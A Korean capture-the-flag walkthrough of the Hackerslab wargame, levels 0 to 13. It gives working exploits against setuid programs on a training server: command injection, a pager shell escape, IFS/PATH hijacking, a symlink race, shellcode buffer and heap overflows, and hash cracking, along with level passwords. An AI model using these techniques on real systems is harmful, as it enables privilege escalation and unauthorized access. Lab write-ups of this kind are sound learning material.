-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-
제목 : Dump of Hackerslab wargamez

작 성 자 : ttongfly@realskulls.org2003. 7. 22부터

홈페이지 : http://ttongfly.realskulls.org

워 게 임 : telnet://drill.hackerslab.org
-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-====-

 

=================================================================================
레벨 :: 0
=================================================================================
한 어리석은 대학생 서모씨는 unix c programming 수업시간에 교수로부터
standard input 으로부터 패스명을 입력받아 그 파일의 종류를 나타내라는
과제를 받았다. 똑똑한(?) 서모씨는 unix 의 기본 컴맨드중에 file 이라는 유틸리티가
있음을 알고 이?이용해 숙제를 간편한 방법으로 해결하였다. 그러나 서씨의 방법에는
상당한 보안상 위험이 있다. 이를 이용하여 다음 레벨을 획득하시오.

Hint – 위 파일의 이름은 딱풀 제조 회사명이다.
=================================================================================
[level0@drill level0]$ find / -user level1 -group level0 -perm -4000 2/dev/null
/dev/.hi

[level0@drill level0]$ dir -al /dev/.hi
-rwsr-x—1 level1 level013500 Jul8 12:58 /dev/.hi

[level0@drill level0]$ /dev/.hi

[level0@drill level0]$ pass

——————————————————————————-
[ LEVEL 1 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : newworld

——————————————————————————-
[level0@drill level0]$

=================================================================================
레벨 :: 1
=================================================================================
[level1@drill level1]$ find / -user level2 -group level1 -perm -4000 2/dev/null
/usr/bin/amos

[level1@drill level1]$ /usr/bin/amos
path? ttongfly;pass
ttongfly: can\’t stat `ttongfly\’ (No such file or directory).

——————————————————————————-
[ LEVEL 2 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : DoItYourself

——————————————————————————-
[level1@drill level1]$

=================================================================================
레벨 :: 2
=================================================================================
유명한 비비에스 프로그래머 김모씨는 자신의 bbs를 운영하던 중 회원들이 로긴하기
전에 특정 내용이 담긴 경고 메시지를 보여주고 싶었다. 그러나 불행하게도 그 경고
메세지의 크기가 한 페이지를 넘어가는 바람에 회원들이 글을 제대로 읽을 수가 없었다.
고심하던 중 김모씨는 more 를 이용하면 간단히 해결된다는 사실을 알았다.

그러나 그 방법은 상당히 위험한 문제가 남아 있었다.
이를 이용하여 다음 레벨을 획득하시오
Hint – 힌트 없음.
=================================================================================
[level2@drill level2]$ find / -user level3 -group level2 -perm -4000 2/dev/null
/usr/bin/alert

[level2@drill level2]$ /usr/bin/alert
Here is Free Hacking Zone.

 

Feel Free

 

Think Geek!!!!

 

Good Luck!!!

 

이곳은 당신에게 악영향을 끼칠 수도..

 

 

좋은 영향을 끼칠 수도 있습니다.

–More–(45%)

!pass

——————————————————————————-
[ LEVEL 3 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : hackerproof

——————————————————————————-
————————

여기는

 

 

여기는

 

 

여기는 바로

 

 

해킹 자유지대 입니다.

 

 

그러므로 당신은 이곳에서 아무짓(행동)을 해도 상관이 없습니다.

 

 

하지만 다른 곳에 가서 그러면 혼납니다.

 

 

휘리릭

[level2@drill level2]$

=================================================================================
레벨 :: 3
=================================================================================
항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는
고심하던 중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할
때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다.

그래서 date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히
출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을 하고는 누가 볼까 두려워 특정
디렉토리에 꽁꽁 숨겨 두었다.

이를 찾아서 다음 레벨을 진입하시오.
=================================================================================

[level3@drill level3]$ find / -user level4 -group level3 -perm -4000 2/dev/null
/usr/man/pt_BR/man8/today

[level3@drill level3]$ cd tmp

[level3@drill tmp]$ ln -s /usr/man/pt_BR/man8/today today

[level3@drill tmp]$ cat bin
/bin/sh

[level3@drill tmp]$ chmod 777 bin

[level3@drill tmp]$ dir -al
total 5
drwxrwx–T2 root level3 75 Jul 22 13:36 .
drwxr-xr-x 22 root root531 Jul 22 05:00 ..
-rwxrwxrwx1 level3 level38 Jul 22 13:36 bin
lrwxrwxrwx1 level3 level3 25 Jul 22 13:33 today – /usr/man/pt_BR/man8/today

[level3@drill tmp]$ IFS=/

[level3@drill tmp]$ export IFS

[level3@drill tmp]$ export
declare -x BASH_ENV=”/home/level3/.bashrc”
declare -x HISTFILESIZE=”1000″
declare -x HISTSIZE=”1000″
declare -x HOME=”/home/level3″
declare -x HOSTNAME=”drill.hackerslab.org”
declare -x HOSTTYPE=”i386″
declare -x IFS=”/”
declare -x INPUTRC=”/etc/inputrc”
declare -x LANG=”en_US”
declare -x LESSOPEN=”|/usr/bin/lesspipe.sh %s”
declare -x LOGNAME=”level3″
declare -x LS_COLORS=”no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:”
declare -x MAIL=”/var/spool/mail/level3″
declare -x OSTYPE=”Linux”
declare -x PATH=”/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level3/bin”
declare -x PS1=”[\\\\u@\\\\h \\\\W]\\\\\\$ “
declare -x REMOTEHOST=”61.74.25.151″
declare -x SHELL=”/bin/bash”
declare -x SHLVL=”1″
declare -x TERM=”vt100″
declare -x USER=”level3″
declare -x USERNAME=””

[level3@drill tmp]$ pwd
/home/level3/tmp

[level3@drill tmp]$ PATH=/home/level3/tmp

[level3@drill tmp]$ ./today

bash$ /bin/pass

——————————————————————————-
[ LEVEL 4 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : AreUReady?

——————————————————————————-
bash$

=================================================================================
레벨 :: 4
=================================================================================
리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스
파일에 특정 코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는
사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고,
이를 이용하여 다음 레벨을 획득하면 된다.

Hint – 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.
=================================================================================

[level4@drill level4]$ find / -user level5 -group level4 -perm -4000 2/dev/null
/usr/games/trojka

[level4@drill level4]$ cd tmp

[level4@drill tmp]$ cat clear
/bin/sh

[level4@drill tmp]$ chmod 777 clear

[level4@drill tmp]$ ln -s /usr/games/trojka

[level4@drill tmp]$ dir -al
total 9
drwxrwx–T2 root level4125 Jul 22 14:00 .
drwxr-xr-x 22 root root531 Jul 22 05:00 ..
-rwxrwxrwx1 level4 level48 Jul 22 13:56 clear
-rw-rw-r–1 level5 level40 Jul 22 11:57 pw-dump
-rw-rw-r–1 level5 level4 1012 Jul 22 09:45 pw-dump2
lrwxrwxrwx1 level4 level4 17 Jul 22 14:00 trojka – /usr/games/trojka
[level4@drill tmp]$

[level4@drill tmp]$ pwd
/home/level4/tmp

[level4@drill tmp]$ PATH=/home/level4/tmp

[level4@drill tmp]$ ./trojka

bash$ /bin/passBest Trojka-Czars

Romanov333 3
Romanov333 3
Romanov333 3
**Romanov333 3
************ * ****Romanov333 3
** ** ***** ** * Romanov333 3
***** * ** * **** *Romanov333 3
*** ***** * *****Romanov333 3
** *** * **** *Romanov333 3
TROJ KARomanov333 3
Romanov333 3
Romanov333 3
Romanov333 3
Romanov333 3
Romanov333 3
Romanov333 3
Romanov333 3
KEEP PLAYING TROJKARomanov333 3
Romanov333 3

 

You0 0

 

——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : Silent night,holy night!

——————————————————————————-
bash$

=================================================================================
레벨 :: 5
=================================================================================
어줍잖은 해커 정모씨는 문제 1에서 백도어를 만든 장본인이다. 그러나 불행히도
많은 해커스랩 회원들이 자신의 백도어를 쉽게 악용하고 있다는 사실을 알고는
분통이 터져 잠을 잘 수가 없었다.

평상시 머리굴리기는 배꼽의 때만큼도 하기 싫어하는 정모씨가 드뎌 큰 맘을 먹고
자신이 평상시 만든 백도어에 보안 강도를 높이기로 결정했다.

그리고는 이제 이 백도어는 나만 쓸 수 있다고?큰소리 치며 편한히 잠을 잘 수가
있었다고 한다.

여러분의 임무는 다시 정모씨의 눈에서 피눈물이 나게 하는 것이다.
=================================================================================

[level5@drill level5]$ find / -user level6 -group level5 -perm -4000 2/dev/null
/lib/security/pam_auth.so

[level5@drill level5]$ /lib/security/pam_auth.so
passwd:
passwd incorrect

[level5@drill level5]$ strings /lib/security/pam_auth.so
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
execl
__cxa_finalize
getpass
sleep
__deregister_frame_info
strcmp
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.1.3
GLIBC_2.0
PTRh
QVh,
what the hell are you thinking?
abcd1234
1qaz2wsx
0plmfk3s
qkqh
fj3,n34k$^
fgjk3!mfr*
Best of The Best Hackerslab
tkfkdgo!
loveyou!
D873nmf9
apple123~
flr1234
passwd:
/bin/sh
passwd incorrect

[level5@drill level5]$ /lib/security/pam_auth.so
passwd: Best of The Best Hackerslab

[level5@drill level5]$ id
uid=2005(level5) gid=2005(level5) euid=2006(level6) groups=2005(level5),9999(hackerszone)

[level5@drill level5]$ pass

——————————————————————————-
[ LEVEL 6 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : Best of The Best Hackerslab

——————————————————————————-
[level5@drill level5]$

=================================================================================
레벨 :: 6
=================================================================================
자자…여기까지 오느라 수고하신 여러분을 위해 보너스 문제를 특별히 준비하였습니다.
이번엔 고생하신 여러분을 위해 패스워드를?알려드리기 위해 TCP 포트하나를 열어
두고 있습니다.

그런데 불행히도 몇 번 포트였는지 기억이 나질 않는군여…아무튼 수고 ~~~
=================================================================================

스캐닝 도구를 이용하여 drill.hackerslab.org를 스캐닝하면 6969번 포트가
열려있음을 알 수 있다.

그 포트를 통해 접속을 하면.

Trying 203.239.110.20 …
Connected to drill.hackerslab.org.

If I Were a Frog

I wish I were a bright green frog,
I\’d sleep each day on a sunny log.
And for a snack I\’d eat a fly
Whenever one came buzzing by.

I\’d leap, then swim in a pretty lake,
And do frog things, for goodness sake.
It would be great but I suppose
That I would miss Spaghettios!

– Grandpa Tucker

..
.\’ @`._
~ …._.\’,__.-;
_..——/` .-\’~
: __./\’ ,.\’-\’–.._
~ `—(.-\’\’\’—.._ `. ~
_.–\'(.______.\’.-\’ `-.“.
:`-..____`-.;
`. ““ ; ~
`-.____.-\’
““—–…….—–\’\’\’~
~ ~

New admin : frog@hackerslab.com

Welcome to F.H.Z of Hackerslab !
( level0/guest are first visiting account. )
level6\’s passwd:
\’Best of The Best Hackerslab\’
Congratulation!! level7\’s passwd is \’Cant help falling in love\’
Connection closed by foreign host.

=================================================================================
레벨 :: 7
=================================================================================
이번 문제는 고도의 노가다 작업이 필요하다. 특정 파일을 찾아 실행시키면 다음
레벨의 패스워드가 나올 것이다. 그러나 곱게는 알려줄 수 없는 법.
(여러분의 고통은 나의 행복~)

다음 레벨을 얻기 위해선 약간의 고생이 필요할 것이다.
=================================================================================

[level7@drill level7]$ find / -user level8 -group level7 -perm -4000 2/dev/null
/dev/audio2

[level7@drill level7]$ /dev/audio2
VoE4HoQCFfMW2
shadow파일의 level8 패스워드 부분이다.

[level7@drill level7]$

존더리퍼나 ntucrack과 같은 쉐도우 패스워드 크랙 프로그램을 이용한다.
ntucrack프로그램 사용법은 다음 사이트를 참조한다
http://dalgalim.grownet.co.kr/docu/cracking.html

Cracking for \’D:\\hacktools\\john16\\RUN\\pass.txt\’
–Started: Tuesday, July 22, 2003 at 17:15:24
–Number of accounts: 1
–Crack method: Word List (D:\\hacktools\\ntucrack\\bigdict.txt)
–Min length: 3Max length: 8
Account: hohle has password: wonderfu
–All passwords found.
–Cracking finished: Tuesday, July 22, 2003 at 17:38:23
–Entire password list exhausted.

다음과 같은 결과가 나온다. wonderfu라고 나왔으나 패스워드는 wonderful이 맞다
아무래도 프로그램상에 약간의 버그가 있는것으로 사료된다.

=================================================================================
레벨 :: 8 (Race Condition)
=================================================================================
이번부터는 해킹기법에 대한 이해가 필요하다. 한때 유명했던 8lgm 이 즐겨
발표했던 방법으로써 /usr/bin/ps2 를 이용하여 다음 레벨을 획득하여라.

힌트를 주자면 임시파일이 /var/tmp2 에 생성된다.
=================================================================================

[level8@drill level8]$ find / -user level9 -group level8 -perm -4000 2/dev/null
/usr/bin/ps2

[level8@drill level8]$ dir -al /usr/bin/ps2
-rws–x—1 level9 level815739 Jul52001 /usr/bin/ps2

level8@drill level8]$ cd tmp

[level8@drill tmp]$ cat pass.txt
sdjfljflsdjflsdjfljsdlfjsdlf

[level8@drill tmp]$ cat psrun.c
#include stdio.h

int main()
{
int i;
for (i=1;i10000;i++) {
system(“rm -rf /var/tmp2/ps2.tmp”);
system(“/usr/bin/ps2”);
}
}
[level8@drill tmp]$ gcc -o psrun psrun.c

[level8@drill tmp]$ cat race.c
#include stdio.h

int main()
{
int i;
unlink(“/var/tmp2/ps2.tmp”);
for (i=1;i600;i++)
{
system(“rm -rf /var/tmp2/ps2.tmp”);
system(“ln -s /home/level8/tmp/pass.txt /var/tmp2/ps2.tmp”);
}
}

[level8@drill tmp]$ gcc -o race race.c

[level8@drill tmp]$ ./psrun &
[1] 4090

[level8@drill tmp]$ ./race

ln: /var/tmp2/ps2.tmp: File exists
file exist
file exist
file exist
ln: /var/tmp2/ps2.tmp: File exists
rm: cannot unlink `/var/tmp2/ps2.tmp\’: Operation not permitted
ln: /var/tmp2/ps2.tmp: File exists
rm: cannot unlink `/var/tmp2/ps2.tmp\’: Operation not permitted
ln: /var/tmp2/ps2.tmp: File exists
file exist
file exist
file exist
file exist
file exist
file exist
file exist
file exist
file exist
file exist
file exist
file exist
ln: /var/tmp2/ps2.tmp: File exists
rm: cannot unlink `/var/tmp2/ps2.tmp\’: Operation not permitted
ln: /var/tmp2/ps2.tmp: File exists
file exist
Congratulations !!! your race attack success ~
level9 Password is!secu!
ln: /var/tmp2/ps2.tmp: File exists
ln: /var/tmp2/ps2.tmp: File exists
file exist
file exist
ln: /var/tmp2/ps2.tmp: File exists
file exist
file exist

[level8@drill tmp]$

Race Condition Attack Complete! Password “!secu!”

=================================================================================
레벨 :: 9
=================================================================================
Bound checking 을 하지 않아 발생하는 보안 문제이다.
Hint – /etc/bof
=================================================================================

[level9@drill level9]$ find / -user level10 -perm -4000 -group level9 2/dev/null
/etc/bof

[level9@drill level9]$ /etc/bof
usage : /etc/bof your_nick_name

[level9@drill level9]$ /etc/bof ttongfly
hello~ ttongfly

[level9@drill level9]$ cd tmp

[level9@drill level9]$ cat egg.c

/* eggshell.c */
#include stdlib.h

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
“\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46”
“\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89”
“\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68”
“\\x00\\xc9\\xc3\\x90/bin/sh”;

unsigned long get_esp(void)
{
__asm__(“movl %esp,%eax”);
}

int main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc 1) bsize = atoi(argv[1]);
if (argc 2) offset = atoi(argv[2]);
if (argc 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}

if (!(egg = malloc(eggsize))) {
printf(“Can\’t allocate memory.\\n”);
exit(0);
}

addr = get_esp() – offset;

printf(“Using address: 0x%x\\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for(i = 0; i eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for(i = 0; i strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = \’\\0\’;
egg[eggsize – 1] = \’\\0\’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}

[level9@drill level9]$ gcc -o egg egg.c

[level9@drill tmp]$ ./egg
Using address: 0xbffffb28

[level9@drill level9_tmp]$ /etc/bof $RET
hello~ (?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
bash$ id
uid=2009(level9) gid=2009(level9) euid=2010(level10) groups=2009(level9),9999(hackerszone),10000(util)

bash$ pass
——————————————————————————-
[ LEVEL10 ]
——————————————————————————-
..::\’\’\’\’::..
.:::. .;\’\’“;.
….:::::::::::::
,;\’ .;:()..:`:::\’ :: :::: ::
::…:,:;.,:;.. :: .::::.`:\’:: .:\’ :::: `:. ::
\’\’\’::, ::::::`:: ::;: .::: ::::::
,:\’;::;:::::: :: ::::,::\’\’..:: `:..:\’ ::
`:,,,,;;\’ ,;; ,;;, ;;, ,;;, ,;;, `:,,,,:\’ :;:`;..“::::\’\’..;\’
“::,,,,::\’\’

password : Beauty and Beast

——————————————————————————-
bash$

=================================================================================
레벨 :: 10
=================================================================================
현재 해킹자유지대(FHZ:Free Hacking Zone) 서버에는 특정 데몬이 떠있다. 이 데몬은 UDP 5555번
포트를 이용하는데 www.hackerslab.org 호스트로부터 레벨10의 패스워드와 이메일 주소가 담긴 패킷이
오면 그 이메일 주소로 level11의 패스워드를 알려준다. 그 해당 포맷은 다음과 같다.
\’level10의 패스워드/email주소\’
ex) level10의 패스워드가 abcd이고 email 주소가 abc@aaa.ccc.ddd.rr 이라면
\’abcd/abc@aaa.ccc.ddd.rr\’
반드시 www.hackerslab.org로 부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.
=================================================================================

해커스쿨(http://www.hackerschool.org)의 운영자 멍멍님의 말씀을 빌리자면 해커즈랩 10렙은
클리어가 불가능하다.

이유인즉슨, 예전 해커즈랩은 방화벽이 없었으나, 방화벽 설치로인해 raw소켓이나 기타 다른방법으로
만든 스푸핑된 패킷을 차단하게 됩니다.

또, 패킷 전송자의 라우터가 자신의 IP대역에서 발송된 패킷이 아니면 죽여버리기 때문에 레벨 10 문제를
풀 수 가 없습니다.

해커즈랩은 이런 문제를 알고있는데도 불구하고 수정하고 있지 않는것 같습니다.

아무튼 해커즈랩 렙11의 비밀번호는 Permission denied 입니다.
렙 11부터 풀어보도록 합시다.

=================================================================================
레벨 :: 11
=================================================================================
/usr/local/bin/hof라는 프로그램은 /usr/local/bin/passwd.fail 파일을 보여준다.
하지만 우리가 원하는 파일은 /usr/local/bin/passwd.success 라는 파일로 그 파일에 다음 레벨로
올라갈 수 있는 패스워드가 저장되어있다.
힙 영역을 이용하면 가장 쉽게 가능하다.
=================================================================================

[level11@drill level11]$ dir /usr/local/bin/hof -al
-rws–x—1 level12level11 14705 Jul 102001 /usr/local/bin/hof

[level11@drill level11]$ /usr/local/bin/hof
level11\’s Password : aaaa

view_file = /usr/local/bin/passwd.fail

hahahahahahahaha

[level11@drill tmp]$ /usr/local/bin/hof
level11\’s Password : 1234567890123456

Segmentation fault

입력받는 버퍼의 값이 16임을 알 수 있다.

[level11@drill chch]$ (printf “AAAAAAAAAAAAAAAA\\x53\\xfc\\xff\\xbf”;cat)|/usr/local/bin/hof /usr/local/bin/passwd.success

level11\’s Password :
view_file = usr/local/bin/passwd.success
error opening usr/local/bin/passwd.success: No such file or directory

[level11@drill tmp]$ (printf “AAAAAAAAAAAAAAAA\\x52\\xfc\\xff\\xbf”;cat)|/usr/local/bin/hof /usr/local/bin/passwd.success

level11\’s Password :
view_file = /usr/local/bin/passwd.success

Password : I want to love forever

(printf “AAAAAAAAAAAAAAAA\\x53\\xfc\\xff\\xbf”;cat)|/usr/local/bin/hof /usr/local/bin/passwd.success
버퍼 16개 문자열 주소값(포인터) 실행프로그램 특정문자열

이 프로그램은 r 퍼미션이 열려있지않아 삽질로 문자열 주소값을 찾아내는 수 밖에 엄따.
위와 같은 방법으로 view_file의 포인터를 바꿔줄 수 있다.

=================================================================================
레벨 :: 12
=================================================================================
여러분의 hope 뛰어난 능력의 소유자인 서군은 해커스랩 관리자들이 level13 으로 로긴할 때 sniffer를
돌려 통신 내용을 캡쳐 하였다. 그러나 관리자들은 직접 고안한 알고리즘으로 비밀 통신을 하고 있어 도무지
level 13의 실제 패스워드가 무엇인지는 알 수가 없었다.
(그 level13 의 패스워드는 tu|tSI/Z^로 암호화 되어있었다. )

불행 중 다행으로 서군은 시스템을 뒤지던 중 관리자들이 암호화 할 때 쓰는 툴이 /usr/bin/encrypt 에
있음을 발견하였다.
여러분은 서군이 발견한 encrypt 를 테스트하여 암호화 알고리즘을 분석한 뒤 해독 알고리즘을 구현하여
level13 의 실제 패스워드를 알아 내시오.
=================================================================================

[level12@drill level12]$ find / -user level13 -group level12 2/dev/null
/usr/bin/encrypt

[level12@drill level12]$ dir -al /usr/bin/encrypt
-rwxr-x—1 level13level12 13781 Jul52001 /usr/bin/encrypt

setuid 비트가 없다 rwx 이다.

[level12@drill level12]$ /usr/bin/encrypt

[level12@drill level12]$ /usr/bin/encrypt aaaaaaaaa
encrypted character: \’GGGBBB-SS\’

[level12@drill level12]$ /usr/bin/encrypt 1aaaaaaaa
encrypted character: \’GGGBBBZSS\’

첫번째 문자를 1로 바꿔주니 해독된 문자열의 7번째 문자가 바뀌었다.

[level12@drill level12]$ /usr/bin/encrypt a1aaaaaaa
encrypted character: \’GGGBBB-#S\’

두번째 문자를 1로 바꿔주니 해독된 문자열의 8번째 문자가 바뀌었다.

이로써 다음과 같은 패턴이 있음을 알 수 있었다.

1번째문자 – (암호화된 문자열의) 7번째 문자 변화
2번째문자 – 8번째 문자 변화
3번째문자 – 9번째 문자 변화
4번째문자 – 1번째 문자 변화
5번째문자 – 2번째 문자 변화
6번째문자 – 3번째 문자 변화
7번째문자 – 4번째 문자 변화
8번째문자 – 5번째 문자 변화
9번째문자 – 6번째 문자 변화

[level12@drill level12]$ /usr/bin/encrypt aaa1aaaaa
encrypted character: \’tGGBBB-SS\’

[level12@drill level12]$ /usr/bin/encrypt aaa12aaaa
encrypted character: \’tuGBBB-SS\’

[level12@drill level12]$ /usr/bin/encrypt aaa129aaa
encrypted character: \’tu|BBB-SS\’

[level12@drill level12]$ /usr/bin/encrypt aaa1296aa
encrypted character: \’tu|tBB-SS\’

[level12@drill level12]$ /usr/bin/encrypt aaa1296ra
encrypted character: \’tu|tSB-SS\’

[level12@drill level12]$ /usr/bin/encrypt aaa1296rh
encrypted character: \’tu|tSI-SS\’

[level12@drill level12]$ /usr/bin/encrypt caa1296rh
encrypted character: \’tu|tSI/SS\’

[level12@drill level12]$ /usr/bin/encrypt cha1296rh
encrypted character: \’tu|tSI/ZS\’

[level12@drill level12]$ /usr/bin/encrypt chl1296rh
encrypted character: \’tu|tSI/Z^\’

암호는 chl1296rh 임

=================================================================================
레벨 :: 13
=================================================================================
이번 해커스랩에서는 레벨 14문제를 새로이 선보입니다.
보시면 알겠지만 이번 문제는 여러분이 이제껏 다루어보던 실전 해킹과는 거리가 다소 멀다는
감이 들 것입니다.
실전 해킹 문제가 아니라 실전 해킹에 필요한 문제 해결 능력을 향상시켜주는 문제라고나 할까요?
즉 물고기가 아닌, 물고기를 잡는 법이지요.
이 문제를 풀려면 기본적으로 TCP/IP 와 Network에 대한 정확한 이해와 고등학교 이상의
수학적 지식과 사고력을 요합니다.
아마도 기존 문제보다 훨씬 어렵다는 느낌이 들 것입니다. 그럼 선전하세요!

문제 : http://www.hackerslab.org/korg/fhz/quest14/quest14.htm
=================================================================================

There are currently no comments.